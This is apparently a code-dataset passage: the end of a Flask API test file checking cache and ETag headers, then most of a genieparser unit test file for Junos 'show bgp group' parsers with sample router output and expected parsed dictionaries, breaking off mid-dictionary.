client.get('/auth/request-token') self.assertTrue(rv.status_code == 200) self.assertTrue('Cache-Control' in rv.headers) cache = [c.strip() for c in rv.headers['Cache-Control'].split(',')] self.assertTrue('no-cache' in cache) self.assertTrue('no-store' in cache) self.assertTrue('max-age=0' in cache) self.assertTrue(len(cache) == 3) def test_etag(self): # create two students rv, json = self.client.post('/api/v1.0/students/', data={'name': 'one'}) self.assertTrue(rv.status_code == 201) one_url = rv.headers['Location'] rv, json = self.client.post('/api/v1.0/students/', data={'name': 'two'}) self.assertTrue(rv.status_code == 201) two_url = rv.headers['Location'] # get their etags rv, json = self.client.get(one_url) self.assertTrue(rv.status_code == 200) one_etag = rv.headers['ETag'] rv, json = self.client.get(two_url) self.assertTrue(rv.status_code == 200) two_etag = rv.headers['ETag'] # send If-None-Match header rv, json = self.client.get(one_url, headers={ 'If-None-Match': one_etag}) self.assertTrue(rv.status_code == 304) rv, json = self.client.get(one_url, headers={ 'If-None-Match': one_etag + ', ' + two_etag}) self.assertTrue(rv.status_code == 304) rv, json = self.client.get(one_url, headers={ 'If-None-Match': two_etag}) self.assertTrue(rv.status_code == 200) rv, json = self.client.get(one_url, headers={ 'If-None-Match': two_etag + ', *'}) self.assertTrue(rv.status_code == 304) # send If-Match header rv, json = self.client.get(one_url, headers={ 'If-Match': one_etag}) self.assertTrue(rv.status_code == 200) rv, json = self.client.get(one_url, headers={ 'If-Match': one_etag + ', ' + two_etag}) self.assertTrue(rv.status_code == 200) rv, json = self.client.get(one_url, headers={ 'If-Match': two_etag}) self.assertTrue(rv.status_code == 412) rv, json = self.client.get(one_url, headers={ 'If-Match': '*'}) self.assertTrue(rv.status_code == 200) # change a resource rv, json = self.client.put(one_url, data={'name': 'not-one'}) self.assertTrue(rv.status_code == 200) # use stale etag rv, json = self.client.get(one_url, headers={ 'If-None-Match': one_etag}) self.assertTrue(rv.status_code == 200)

40.315217

109

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null

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null

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1

0

7

b7234751fada3e49671e5e58af192cb15feff614

61,004

py

Python

src/genie/libs/parser/junos/tests/test_show_bgp.py

noziwatele/genieparser

4d7a62a870b30dfc8e2a41bf1ad81218bca6f5e9

[ "Apache-2.0" ]

null

src/genie/libs/parser/junos/tests/test_show_bgp.py

noziwatele/genieparser

4d7a62a870b30dfc8e2a41bf1ad81218bca6f5e9

[ "Apache-2.0" ]

null

src/genie/libs/parser/junos/tests/test_show_bgp.py

noziwatele/genieparser

4d7a62a870b30dfc8e2a41bf1ad81218bca6f5e9

[ "Apache-2.0" ]

null

# Python import unittest from unittest.mock import Mock # ATS from pyats.topology import Device from pyats.topology import loader # Metaparser from genie.metaparser.util.exceptions import SchemaEmptyParserError # junos show_ospf from genie.libs.parser.junos.show_bgp import (ShowBgpGroupBrief, ShowBgpGroupDetail, ShowBgpGroupSummary) class TestShowBgpGroupBrief(unittest.TestCase): """ Unit tests for: * show bgp group brief | no-more """ maxDiff = None device = Device(name='aDevice') empty_output = {'execute.return_value': ''} golden_output = {'execute.return_value': ''' Group Type: Internal AS: 65171 Local AS: 65171 Name: Genie Index: 0 Flags: <Export Eval> Export: [ (v4_WATARI && NEXT-HOP-SELF) ] Options: <Confed> Options: <GracefulShutdownRcv> Holdtime: 0 Graceful Shutdown Receiver local-preference: 0 Total peers: 1 Established: 1 10.189.5.253+179 inet.0: 0/682/682/0 Group Type: Internal AS: 65171 Local AS: 65171 Name: v6_Genie Index: 1 Flags: <Export Eval> Export: [ (v6_WATARI && NEXT-HOP-SELF) ] Options: <Confed> Options: <GracefulShutdownRcv> Holdtime: 0 Graceful Shutdown Receiver local-preference: 0 Total peers: 1 Established: 1 2001:db8:223c:ca45::c+60268 inet6.0: 0/0/0/0 Group Type: Internal AS: 65171 Local AS: 65171 Name: v4_RRC_72_TRIANGLE Index: 2 Flags: <Export Eval> Export: [ (ALL_out && v4_NEXT-HOP-SELF_hktGCS001) ] Options: <Cluster Confed> Options: <GracefulShutdownRcv> Holdtime: 0 Graceful Shutdown Receiver local-preference: 0 Total peers: 3 Established: 0 10.189.5.245+179 10.189.5.243+179 10.189.5.242+179 Group Type: Internal AS: 65171 Local AS: 65171 Name: v6_RRC_72_TRIANGLE Index: 3 Flags: <Export Eval> Export: [ (ALL_out && v6_NEXT-HOP-SELF_hktGCS001) ] Options: <Cluster Confed> Options: <GracefulShutdownRcv> Holdtime: 0 Graceful Shutdown Receiver local-preference: 0 Total peers: 2 Established: 0 2001:db8:223c:ca45::7+179 2001:db8:223c:ca45::8 Group Type: Internal AS: 65171 Local AS: 65171 Name: v6_RRC_72_SQUARE Index: 4 Flags: <Export Eval> Export: [ ALL_out ] Options: <Cluster Confed> Options: <GracefulShutdownRcv> Holdtime: 0 Graceful Shutdown Receiver local-preference: 0 Total peers: 2 Established: 0 2001:db8:223c:ca45::9 2001:db8:223c:ca45::a Group Type: Internal AS: 65171 Local AS: 65171 Name: v4_RRC_72_SQUARE Index: 5 Flags: <Export Eval> Export: [ ALL_out ] Options: <Cluster Confed> Options: <GracefulShutdownRcv> Holdtime: 0 Graceful Shutdown Receiver local-preference: 0 Total peers: 2 Established: 0 10.189.5.241+179 10.189.5.240 Group Type: Internal AS: 65171 Local AS: 65171 Name: v4_Kentik Index: 6 Flags: <Export Eval> Export: [ v4_Kentik_NO-DEFAULT ] Options: <Cluster Confed> Options: <GracefulShutdownRcv> Holdtime: 0 Graceful Shutdown Receiver local-preference: 0 Total peers: 1 Established: 0 10.49.216.179 Group Type: Internal AS: 65171 Local AS: 65171 Name: v6_Kentik Index: 7 Flags: <Export Eval> Export: [ v6_Kentik_NO-DEFAULT ] Options: <Cluster Confed> Options: <GracefulShutdownRcv> Holdtime: 0 Graceful Shutdown Receiver local-preference: 0 Total peers: 1 Established: 0 2001:db8:6be:89bb::1:140 Group Type: External Local AS: 65171 Name: sggjbb001 Index: 8 Flags: <Export Eval> Export: [ (ALL_out && (NEXT-HOP-SELF && HKG-SNG_AddMED)) ] Options: <Multihop Confed> Options: <GracefulShutdownRcv> Holdtime: 0 Graceful Shutdown Receiver local-preference: 0 Total peers: 1 Established: 0 10.189.6.250 Group Type: External Local AS: 65171 Name: v6_sggjbb001 Index: 9 Flags: <Export Eval> Export: [ (ALL_out && (NEXT-HOP-SELF && v6_HKG-SNG_AddMED)) ] Options: <Multihop Confed> Options: <GracefulShutdownRcv> Holdtime: 0 Graceful Shutdown Receiver local-preference: 0 Total peers: 1 Established: 0 2001:db8:5961:ca45::1 Group Type: External Local AS: 65171 Name: sjkGCS001-EC11 Index: 10 Flags: <Export Eval> Export: [ ((LABELSTACK_O2B || HKG-EC_out) && (NEXT-HOP-SELF && HKG-EC_AddMED)) ] Options: <Multihop Confed> Options: <GracefulShutdownRcv> Holdtime: 0 Graceful Shutdown Receiver local-preference: 0 Total peers: 1 Established: 1 10.169.14.240+60606 inet.0: 682/684/684/0 inet.3: 2/2/2/0 Group Type: External Local AS: 65171 Name: v6_sjkGCS001-EC11 Index: 11 Flags: <Export Eval> Export: [ (v6_HKG-EC_out && (NEXT-HOP-SELF && v6_HKG-EC_AddMED)) ] Options: <Multihop Confed> Options: <GracefulShutdownRcv> Holdtime: 0 Graceful Shutdown Receiver local-preference: 0 Total peers: 1 Established: 1 2001:db8:eb18:ca45::1+179 inet6.0: 0/0/0/0 Group Type: External Local AS: 65171 Name: obpGCS001-WC11 Index: 12 Flags: <Export Eval> Export: [ (HKG-WC_out && (NEXT-HOP-SELF && HKG-WC_AddMED)) ] Options: <Multihop Confed> Options: <GracefulShutdownRcv> Holdtime: 0 Graceful Shutdown Receiver local-preference: 0 Total peers: 1 Established: 0 10.169.14.249 Group Type: External Local AS: 65171 Name: v6_obpGCS001-WC11 Index: 13 Flags: <Export Eval> Export: [ (v6_HKG-WC_out && (NEXT-HOP-SELF && v6_HKG-WC_AddMED)) ] Options: <Multihop Confed> Options: <GracefulShutdownRcv> Holdtime: 0 Graceful Shutdown Receiver local-preference: 0 Total peers: 1 Established: 0 2001:db8:eb18:ca45::11 Groups: 14 Peers: 19 External: 6 Internal: 13 Down peers: 15 Flaps: 359 Table Tot Paths Act Paths Suppressed History Damp State Pending inet.0 1366 682 0 0 0 0 inet.3 2 2 0 0 0 0 inet6.0 0 0 0 0 0 0 '''} golden_parsed_output = { "bgp-group-information": { "bgp-group": [ { "bgp-option-information": { "bgp-options": "Confed", "bgp-options-extended": "GracefulShutdownRcv", "export-policy": "(v4_WATARI && NEXT-HOP-SELF)", "gshut-recv-local-preference": "0", "holdtime": "0" }, "bgp-rib": [ { "accepted-prefix-count": "682", "active-prefix-count": "0", "advertised-prefix-count": "0", "name": "inet.0", "received-prefix-count": "682" } ], "established-count": "1", "group-flags": "Export Eval", "group-index": "0", "local-as": "65171", "name": "Genie", "peer-address": [ "10.189.5.253+179" ], "peer-as": "65171", "peer-count": "1", "type": "Internal" }, { "bgp-option-information": { "bgp-options": "Confed", "bgp-options-extended": "GracefulShutdownRcv", "export-policy": "(v6_WATARI && NEXT-HOP-SELF)", "gshut-recv-local-preference": "0", "holdtime": "0" }, "bgp-rib": [ { "accepted-prefix-count": "0", "active-prefix-count": "0", "advertised-prefix-count": "0", "name": "inet6.0", "received-prefix-count": "0" } ], "established-count": "1", "group-flags": "Export Eval", "group-index": "1", "local-as": "65171", "name": "v6_Genie", "peer-address": [ "2001:db8:223c:ca45::c+60268" ], "peer-as": "65171", "peer-count": "1", "type": "Internal" }, { "bgp-option-information": { "bgp-options": "Cluster Confed", "bgp-options-extended": "GracefulShutdownRcv", "export-policy": "(ALL_out && v4_NEXT-HOP-SELF_hktGCS001)", "gshut-recv-local-preference": "0", "holdtime": "0" }, "established-count": "0", "group-flags": "Export Eval", "group-index": "2", "local-as": "65171", "name": "v4_RRC_72_TRIANGLE", "peer-address": [ "10.189.5.245+179", "10.189.5.243+179", "10.189.5.242+179" ], "peer-as": "65171", "peer-count": "3", "type": "Internal" }, { "bgp-option-information": { "bgp-options": "Cluster Confed", "bgp-options-extended": "GracefulShutdownRcv", "export-policy": "(ALL_out && v6_NEXT-HOP-SELF_hktGCS001)", "gshut-recv-local-preference": "0", "holdtime": "0" }, "established-count": "0", "group-flags": "Export Eval", "group-index": "3", "local-as": "65171", "name": "v6_RRC_72_TRIANGLE", "peer-address": [ "2001:db8:223c:ca45::7+179", "2001:db8:223c:ca45::8" ], "peer-as": "65171", "peer-count": "2", "type": "Internal" }, { "bgp-option-information": { "bgp-options": "Cluster Confed", "bgp-options-extended": "GracefulShutdownRcv", "export-policy": "ALL_out", "gshut-recv-local-preference": "0", "holdtime": "0" }, "established-count": "0", "group-flags": "Export Eval", "group-index": "4", "local-as": "65171", "name": "v6_RRC_72_SQUARE", "peer-address": [ "2001:db8:223c:ca45::9", "2001:db8:223c:ca45::a" ], "peer-as": "65171", "peer-count": "2", "type": "Internal" }, { "bgp-option-information": { "bgp-options": "Cluster Confed", "bgp-options-extended": "GracefulShutdownRcv", "export-policy": "ALL_out", "gshut-recv-local-preference": "0", "holdtime": "0" }, "established-count": "0", "group-flags": "Export Eval", "group-index": "5", "local-as": "65171", "name": "v4_RRC_72_SQUARE", "peer-address": [ "10.189.5.241+179", "10.189.5.240" ], "peer-as": "65171", "peer-count": "2", "type": "Internal" }, { "bgp-option-information": { "bgp-options": "Cluster Confed", "bgp-options-extended": "GracefulShutdownRcv", "export-policy": "v4_Kentik_NO-DEFAULT", "gshut-recv-local-preference": "0", "holdtime": "0" }, "established-count": "0", "group-flags": "Export Eval", "group-index": "6", "local-as": "65171", "name": "v4_Kentik", "peer-address": [ "10.49.216.179" ], "peer-as": "65171", "peer-count": "1", "type": "Internal" }, { "bgp-option-information": { "bgp-options": "Cluster Confed", "bgp-options-extended": "GracefulShutdownRcv", "export-policy": "v6_Kentik_NO-DEFAULT", "gshut-recv-local-preference": "0", "holdtime": "0" }, "established-count": "0", "group-flags": "Export Eval", "group-index": "7", "local-as": "65171", "name": "v6_Kentik", "peer-address": [ "2001:db8:6be:89bb::1:140" ], "peer-as": "65171", "peer-count": "1", "type": "Internal" }, { "bgp-option-information": { "bgp-options": "Multihop Confed", "bgp-options-extended": "GracefulShutdownRcv", "export-policy": "(ALL_out && (NEXT-HOP-SELF && HKG-SNG_AddMED))", "gshut-recv-local-preference": "0", "holdtime": "0" }, "established-count": "0", "group-flags": "Export Eval", "group-index": "8", "local-as": "65171", "name": "sggjbb001", "peer-address": [ "10.189.6.250" ], "peer-count": "1", "type": "External" }, { "bgp-option-information": { "bgp-options": "Multihop Confed", "bgp-options-extended": "GracefulShutdownRcv", "export-policy": "(ALL_out && (NEXT-HOP-SELF && v6_HKG-SNG_AddMED))", "gshut-recv-local-preference": "0", "holdtime": "0" }, "established-count": "0", "group-flags": "Export Eval", "group-index": "9", "local-as": "65171", "name": "v6_sggjbb001", "peer-address": [ "2001:db8:5961:ca45::1" ], "peer-count": "1", "type": "External" }, { "bgp-option-information": { "bgp-options": "Multihop Confed", "bgp-options-extended": "GracefulShutdownRcv", "export-policy": "((LABELSTACK_O2B || HKG-EC_out) && (NEXT-HOP-SELF && HKG-EC_AddMED))", "gshut-recv-local-preference": "0", "holdtime": "0" }, "bgp-rib": [ { "accepted-prefix-count": "684", "active-prefix-count": "682", "advertised-prefix-count": "0", "name": "inet.0", "received-prefix-count": "684" }, { "accepted-prefix-count": "2", "active-prefix-count": "2", "advertised-prefix-count": "0", "name": "inet.3", "received-prefix-count": "2" } ], "established-count": "1", "group-flags": "Export Eval", "group-index": "10", "local-as": "65171", "name": "sjkGCS001-EC11", "peer-address": [ "10.169.14.240+60606" ], "peer-count": "1", "type": "External" }, { "bgp-option-information": { "bgp-options": "Multihop Confed", "bgp-options-extended": "GracefulShutdownRcv", "export-policy": "(v6_HKG-EC_out && (NEXT-HOP-SELF && v6_HKG-EC_AddMED))", "gshut-recv-local-preference": "0", "holdtime": "0" }, "bgp-rib": [ { "accepted-prefix-count": "0", "active-prefix-count": "0", "advertised-prefix-count": "0", "name": "inet6.0", "received-prefix-count": "0" } ], "established-count": "1", "group-flags": "Export Eval", "group-index": "11", "local-as": "65171", "name": "v6_sjkGCS001-EC11", "peer-address": [ "2001:db8:eb18:ca45::1+179" ], "peer-count": "1", "type": "External" }, { "bgp-option-information": { "bgp-options": "Multihop Confed", "bgp-options-extended": "GracefulShutdownRcv", "export-policy": "(HKG-WC_out && (NEXT-HOP-SELF && HKG-WC_AddMED))", "gshut-recv-local-preference": "0", "holdtime": "0" }, "established-count": "0", "group-flags": "Export Eval", "group-index": "12", "local-as": "65171", "name": "obpGCS001-WC11", "peer-address": [ "10.169.14.249" ], "peer-count": "1", "type": "External" }, { "bgp-option-information": { "bgp-options": "Multihop Confed", "bgp-options-extended": "GracefulShutdownRcv", "export-policy": "(v6_HKG-WC_out && (NEXT-HOP-SELF && v6_HKG-WC_AddMED))", "gshut-recv-local-preference": "0", "holdtime": "0" }, "established-count": "0", "group-flags": "Export Eval", "group-index": "13", "local-as": "65171", "name": "v6_obpGCS001-WC11", "peer-address": [ "2001:db8:eb18:ca45::11" ], "peer-count": "1", "type": "External" } ], "bgp-information": { "bgp-rib": [ { "active-prefix-count": "682", "damped-prefix-count": "0", "history-prefix-count": "0", "name": "inet.0", "pending-prefix-count": "0", "suppressed-prefix-count": "0", "total-prefix-count": "1366" }, { "active-prefix-count": "2", "damped-prefix-count": "0", "history-prefix-count": "0", "name": "inet.3", "pending-prefix-count": "0", "suppressed-prefix-count": "0", "total-prefix-count": "2" }, { "active-prefix-count": "0", "damped-prefix-count": "0", "history-prefix-count": "0", "name": "inet6.0", "pending-prefix-count": "0", "suppressed-prefix-count": "0", "total-prefix-count": "0" } ], "down-peer-count": "15", "external-peer-count": "6", "flap-count": "359", "group-count": "14", "internal-peer-count": "13", "peer-count": "19" } } } def test_empty(self): self.device = Mock(**self.empty_output) obj = ShowBgpGroupBrief(device=self.device) with self.assertRaises(SchemaEmptyParserError): obj.parse() def test_golden(self): self.device = Mock(**self.golden_output) obj = ShowBgpGroupBrief(device=self.device) parsed_output = obj.parse() self.assertEqual(parsed_output, self.golden_parsed_output) class TestShowBgpGroupDetail(unittest.TestCase): """ Unit tests for: * show bgp group detail | no-more """ maxDiff = None device = Device(name='aDevice') empty_output = {'execute.return_value': ''} golden_output = {'execute.return_value': ''' Group Type: Internal AS: 65171 Local AS: 65171 Name: Genie Index: 0 Flags: <Export Eval> Export: [ (v4_WATARI && NEXT-HOP-SELF) ] Options: <Confed> Options: <GracefulShutdownRcv> Holdtime: 0 Graceful Shutdown Receiver local-preference: 0 Total peers: 1 Established: 1 10.189.5.253+179 Route Queue Timer: unset Route Queue: empty Table inet.0 Active prefixes: 0 Received prefixes: 682 Accepted prefixes: 682 Suppressed due to damping: 0 Advertised prefixes: 682 Group Type: Internal AS: 65171 Local AS: 65171 Name: v6_Genie Index: 1 Flags: <Export Eval> Export: [ (v6_WATARI && NEXT-HOP-SELF) ] Options: <Confed> Options: <GracefulShutdownRcv> Holdtime: 0 Graceful Shutdown Receiver local-preference: 0 Total peers: 1 Established: 1 2001:db8:223c:ca45::c+60268 Route Queue Timer: unset Route Queue: empty Table inet6.0 Active prefixes: 0 Received prefixes: 0 Accepted prefixes: 0 Suppressed due to damping: 0 Advertised prefixes: 0 Group Type: Internal AS: 65171 Local AS: 65171 Name: v4_RRC_72_TRIANGLE Index: 2 Flags: <Export Eval> Export: [ (ALL_out && v4_NEXT-HOP-SELF_hktGCS001) ] Options: <Cluster Confed> Options: <GracefulShutdownRcv> Holdtime: 0 Graceful Shutdown Receiver local-preference: 0 Total peers: 3 Established: 0 10.189.5.245 10.189.5.243 10.189.5.242+179 Group Type: Internal AS: 65171 Local AS: 65171 Name: v6_RRC_72_TRIANGLE Index: 3 Flags: <Export Eval> Export: [ (ALL_out && v6_NEXT-HOP-SELF_hktGCS001) ] Options: <Cluster Confed> Options: <GracefulShutdownRcv> Holdtime: 0 Graceful Shutdown Receiver local-preference: 0 Total peers: 2 Established: 0 2001:db8:223c:ca45::7+179 2001:db8:223c:ca45::8+179 Group Type: Internal AS: 65171 Local AS: 65171 Name: v6_RRC_72_SQUARE Index: 4 Flags: <Export Eval> Export: [ ALL_out ] Options: <Cluster Confed> Options: <GracefulShutdownRcv> Holdtime: 0 Graceful Shutdown Receiver local-preference: 0 Total peers: 2 Established: 0 2001:db8:223c:ca45::9 2001:db8:223c:ca45::a+179 Group Type: Internal AS: 65171 Local AS: 65171 Name: v4_RRC_72_SQUARE Index: 5 Flags: <Export Eval> Export: [ ALL_out ] Options: <Cluster Confed> Options: <GracefulShutdownRcv> Holdtime: 0 Graceful Shutdown Receiver local-preference: 0 Total peers: 2 Established: 0 10.189.5.241+179 10.189.5.240 Group Type: Internal AS: 65171 Local AS: 65171 Name: v4_Kentik Index: 6 Flags: <Export Eval> Export: [ v4_Kentik_NO-DEFAULT ] Options: <Cluster Confed> Options: <GracefulShutdownRcv> Holdtime: 0 Graceful Shutdown Receiver local-preference: 0 Total peers: 1 Established: 0 10.49.216.179 Group Type: Internal AS: 65171 Local AS: 65171 Name: v6_Kentik Index: 7 Flags: <Export Eval> Export: [ v6_Kentik_NO-DEFAULT ] Options: <Cluster Confed> Options: <GracefulShutdownRcv> Holdtime: 0 Graceful Shutdown Receiver local-preference: 0 Total peers: 1 Established: 0 2001:db8:6be:89bb::1:140 Group Type: External Local AS: 65171 Name: sggjbb001 Index: 8 Flags: <Export Eval> Export: [ (ALL_out && (NEXT-HOP-SELF && HKG-SNG_AddMED)) ] Options: <Multihop Confed> Options: <GracefulShutdownRcv> Holdtime: 0 Graceful Shutdown Receiver local-preference: 0 Total peers: 1 Established: 0 10.189.6.250 Group Type: External Local AS: 65171 Name: v6_sggjbb001 Index: 9 Flags: <Export Eval> Export: [ (ALL_out && (NEXT-HOP-SELF && v6_HKG-SNG_AddMED)) ] Options: <Multihop Confed> Options: <GracefulShutdownRcv> Holdtime: 0 Graceful Shutdown Receiver local-preference: 0 Total peers: 1 Established: 0 2001:db8:5961:ca45::1 Group Type: External Local AS: 65171 Name: sjkGCS001-EC11 Index: 10 Flags: <Export Eval> Export: [ ((LABELSTACK_O2B || HKG-EC_out) && (NEXT-HOP-SELF && HKG-EC_AddMED)) ] Options: <Multihop Confed> Options: <GracefulShutdownRcv> Holdtime: 0 Graceful Shutdown Receiver local-preference: 0 Total peers: 1 Established: 1 10.169.14.240+60606 Route Queue Timer: unset Route Queue: empty Table inet.0 Active prefixes: 682 Received prefixes: 684 Accepted prefixes: 684 Suppressed due to damping: 0 Advertised prefixes: 0 Table inet.3 Active prefixes: 2 Received prefixes: 2 Accepted prefixes: 2 Suppressed due to damping: 0 Advertised prefixes: 0 Group Type: External Local AS: 65171 Name: v6_sjkGCS001-EC11 Index: 11 Flags: <Export Eval> Export: [ (v6_HKG-EC_out && (NEXT-HOP-SELF && v6_HKG-EC_AddMED)) ] Options: <Multihop Confed> Options: <GracefulShutdownRcv> Holdtime: 0 Graceful Shutdown Receiver local-preference: 0 Total peers: 1 Established: 1 2001:db8:eb18:ca45::1+179 Route Queue Timer: unset Route Queue: empty Table inet6.0 Active prefixes: 0 Received prefixes: 0 Accepted prefixes: 0 Suppressed due to damping: 0 Advertised prefixes: 0 Group Type: External Local AS: 65171 Name: obpGCS001-WC11 Index: 12 Flags: <Export Eval> Export: [ (HKG-WC_out && (NEXT-HOP-SELF && HKG-WC_AddMED)) ] Options: <Multihop Confed> Options: <GracefulShutdownRcv> Holdtime: 0 Graceful Shutdown Receiver local-preference: 0 Total peers: 1 Established: 0 10.169.14.249 Group Type: External Local AS: 65171 Name: v6_obpGCS001-WC11 Index: 13 Flags: <Export Eval> Export: [ (v6_HKG-WC_out && (NEXT-HOP-SELF && v6_HKG-WC_AddMED)) ] Options: <Multihop Confed> Options: <GracefulShutdownRcv> Holdtime: 0 Graceful Shutdown Receiver local-preference: 0 Total peers: 1 Established: 0 2001:db8:eb18:ca45::11 Groups: 14 Peers: 19 External: 6 Internal: 13 Down peers: 15 Flaps: 359 Table inet.0 Received prefixes: 1366 Accepted prefixes: 1366 Active prefixes: 682 Suppressed due to damping: 0 Received external prefixes: 684 Active external prefixes: 682 Externals suppressed: 0 Received internal prefixes: 682 Active internal prefixes: 0 Internals suppressed: 0 RIB State: BGP restart is complete Table inet.3 Received prefixes: 2 Accepted prefixes: 2 Active prefixes: 2 Suppressed due to damping: 0 Received external prefixes: 2 Active external prefixes: 2 Externals suppressed: 0 Received internal prefixes: 0 Active internal prefixes: 0 Internals suppressed: 0 RIB State: BGP restart is complete Table inet6.0 Received prefixes: 0 Accepted prefixes: 0 Active prefixes: 0 Suppressed due to damping: 0 Received external prefixes: 0 Active external prefixes: 0 Externals suppressed: 0 Received internal prefixes: 0 Active internal prefixes: 0 Internals suppressed: 0 RIB State: BGP restart is complete '''} golden_parsed_output = { "bgp-group-information": { "bgp-group": [ { "bgp-option-information": { "bgp-options": "Confed", "bgp-options-extended": "GracefulShutdownRcv", "export-policy": "(v4_WATARI && NEXT-HOP-SELF)", "gshut-recv-local-preference": "0", "holdtime": "0" }, "bgp-rib": [ { "accepted-prefix-count": "682", "active-prefix-count": "0", "advertised-prefix-count": "682", "name": "inet.0", "received-prefix-count": "682", "suppressed-prefix-count": "0" } ], "established-count": "1", "group-flags": "Export Eval", "group-index": "0", "local-as": "65171", "name": "Genie", "peer-address": [ "10.189.5.253+179" ], "peer-as": "65171", "peer-count": "1", "route-queue": { "state": "empty", "timer": "unset" }, "type": "Internal" }, { "bgp-option-information": { "bgp-options": "Confed", "bgp-options-extended": "GracefulShutdownRcv", "export-policy": "(v6_WATARI && NEXT-HOP-SELF)", "gshut-recv-local-preference": "0", "holdtime": "0" }, "bgp-rib": [ { "accepted-prefix-count": "0", "active-prefix-count": "0", "advertised-prefix-count": "0", "name": "inet6.0", "received-prefix-count": "0", "suppressed-prefix-count": "0" } ], "established-count": "1", "group-flags": "Export Eval", "group-index": "1", "local-as": "65171", "name": "v6_Genie", "peer-address": [ "2001:db8:223c:ca45::c+60268" ], "peer-as": "65171", "peer-count": "1", "route-queue": { "state": "empty", "timer": "unset" }, "type": "Internal" }, { "bgp-option-information": { "bgp-options": "Cluster Confed", "bgp-options-extended": "GracefulShutdownRcv", "export-policy": "(ALL_out && v4_NEXT-HOP-SELF_hktGCS001)", "gshut-recv-local-preference": "0", "holdtime": "0" }, "established-count": "0", "group-flags": "Export Eval", "group-index": "2", "local-as": "65171", "name": "v4_RRC_72_TRIANGLE", "peer-address": [ "10.189.5.245", "10.189.5.243", "10.189.5.242+179" ], "peer-as": "65171", "peer-count": "3", "type": "Internal" }, { "bgp-option-information": { "bgp-options": "Cluster Confed", "bgp-options-extended": "GracefulShutdownRcv", "export-policy": "(ALL_out && v6_NEXT-HOP-SELF_hktGCS001)", "gshut-recv-local-preference": "0", "holdtime": "0" }, "established-count": "0", "group-flags": "Export Eval", "group-index": "3", "local-as": "65171", "name": "v6_RRC_72_TRIANGLE", "peer-address": [ "2001:db8:223c:ca45::7+179", "2001:db8:223c:ca45::8+179" ], "peer-as": "65171", "peer-count": "2", "type": "Internal" }, { "bgp-option-information": { "bgp-options": "Cluster Confed", "bgp-options-extended": "GracefulShutdownRcv", "export-policy": "ALL_out", "gshut-recv-local-preference": "0", "holdtime": "0" }, "established-count": "0", "group-flags": "Export Eval", "group-index": "4", "local-as": "65171", "name": "v6_RRC_72_SQUARE", "peer-address": [ "2001:db8:223c:ca45::9", "2001:db8:223c:ca45::a+179" ], "peer-as": "65171", "peer-count": "2", "type": "Internal" }, { "bgp-option-information": { "bgp-options": "Cluster Confed", "bgp-options-extended": "GracefulShutdownRcv", "export-policy": "ALL_out", "gshut-recv-local-preference": "0", "holdtime": "0" }, "established-count": "0", "group-flags": "Export Eval", "group-index": "5", "local-as": "65171", "name": "v4_RRC_72_SQUARE", "peer-address": [ "10.189.5.241+179", "10.189.5.240" ], "peer-as": "65171", "peer-count": "2", "type": "Internal" }, { "bgp-option-information": { "bgp-options": "Cluster Confed", "bgp-options-extended": "GracefulShutdownRcv", "export-policy": "v4_Kentik_NO-DEFAULT", "gshut-recv-local-preference": "0", "holdtime": "0" }, "established-count": "0", "group-flags": "Export Eval", "group-index": "6", "local-as": "65171", "name": "v4_Kentik", "peer-address": [ "10.49.216.179" ], "peer-as": "65171", "peer-count": "1", "type": "Internal" }, { "bgp-option-information": { "bgp-options": "Cluster Confed", "bgp-options-extended": "GracefulShutdownRcv", "export-policy": "v6_Kentik_NO-DEFAULT", "gshut-recv-local-preference": "0", "holdtime": "0" }, "established-count": "0", "group-flags": "Export Eval", "group-index": "7", "local-as": "65171", "name": "v6_Kentik", "peer-address": [ "2001:db8:6be:89bb::1:140" ], "peer-as": "65171", "peer-count": "1", "type": "Internal" }, { "bgp-option-information": { "bgp-options": "Multihop Confed", "bgp-options-extended": "GracefulShutdownRcv", "export-policy": "(ALL_out && (NEXT-HOP-SELF && HKG-SNG_AddMED))", "gshut-recv-local-preference": "0", "holdtime": "0" }, "established-count": "0", "group-flags": "Export Eval", "group-index": "8", "local-as": "65171", "name": "sggjbb001", "peer-address": [ "10.189.6.250" ], "peer-count": "1", "type": "External" }, { "bgp-option-information": { "bgp-options": "Multihop Confed", "bgp-options-extended": "GracefulShutdownRcv", "export-policy": "(ALL_out && (NEXT-HOP-SELF && v6_HKG-SNG_AddMED))", "gshut-recv-local-preference": "0", "holdtime": "0" }, "established-count": "0", "group-flags": "Export Eval", "group-index": "9", "local-as": "65171", "name": "v6_sggjbb001", "peer-address": [ "2001:db8:5961:ca45::1" ], "peer-count": "1", "type": "External" }, { "bgp-option-information": { "bgp-options": "Multihop Confed", "bgp-options-extended": "GracefulShutdownRcv", "export-policy": "((LABELSTACK_O2B || HKG-EC_out) && (NEXT-HOP-SELF && HKG-EC_AddMED))", "gshut-recv-local-preference": "0", "holdtime": "0" }, "bgp-rib": [ { "accepted-prefix-count": "684", "active-prefix-count": "682", "advertised-prefix-count": "0", "name": "inet.0", "received-prefix-count": "684", "suppressed-prefix-count": "0" }, { "accepted-prefix-count": "2", "active-prefix-count": "2", "advertised-prefix-count": "0", "name": "inet.3", "received-prefix-count": "2", "suppressed-prefix-count": "0" } ], "established-count": "1", "group-flags": "Export Eval", "group-index": "10", "local-as": "65171", "name": "sjkGCS001-EC11", "peer-address": [ "10.169.14.240+60606" ], "peer-count": "1", "route-queue": { "state": "empty", "timer": "unset" }, "type": "External" }, { "bgp-option-information": { "bgp-options": "Multihop Confed", "bgp-options-extended": "GracefulShutdownRcv", "export-policy": "(v6_HKG-EC_out && (NEXT-HOP-SELF && v6_HKG-EC_AddMED))", "gshut-recv-local-preference": "0", "holdtime": "0" }, "bgp-rib": [ { "accepted-prefix-count": "0", "active-prefix-count": "0", "advertised-prefix-count": "0", "name": "inet6.0", "received-prefix-count": "0", "suppressed-prefix-count": "0" } ], "established-count": "1", "group-flags": "Export Eval", "group-index": "11", "local-as": "65171", "name": "v6_sjkGCS001-EC11", "peer-address": [ "2001:db8:eb18:ca45::1+179" ], "peer-count": "1", "route-queue": { "state": "empty", "timer": "unset" }, "type": "External" }, { "bgp-option-information": { "bgp-options": "Multihop Confed", "bgp-options-extended": "GracefulShutdownRcv", "export-policy": "(HKG-WC_out && (NEXT-HOP-SELF && HKG-WC_AddMED))", "gshut-recv-local-preference": "0", "holdtime": "0" }, "established-count": "0", "group-flags": "Export Eval", "group-index": "12", "local-as": "65171", "name": "obpGCS001-WC11", "peer-address": [ "10.169.14.249" ], "peer-count": "1", "type": "External" }, { "bgp-option-information": { "bgp-options": "Multihop Confed", "bgp-options-extended": "GracefulShutdownRcv", "export-policy": "(v6_HKG-WC_out && (NEXT-HOP-SELF && v6_HKG-WC_AddMED))", "gshut-recv-local-preference": "0", 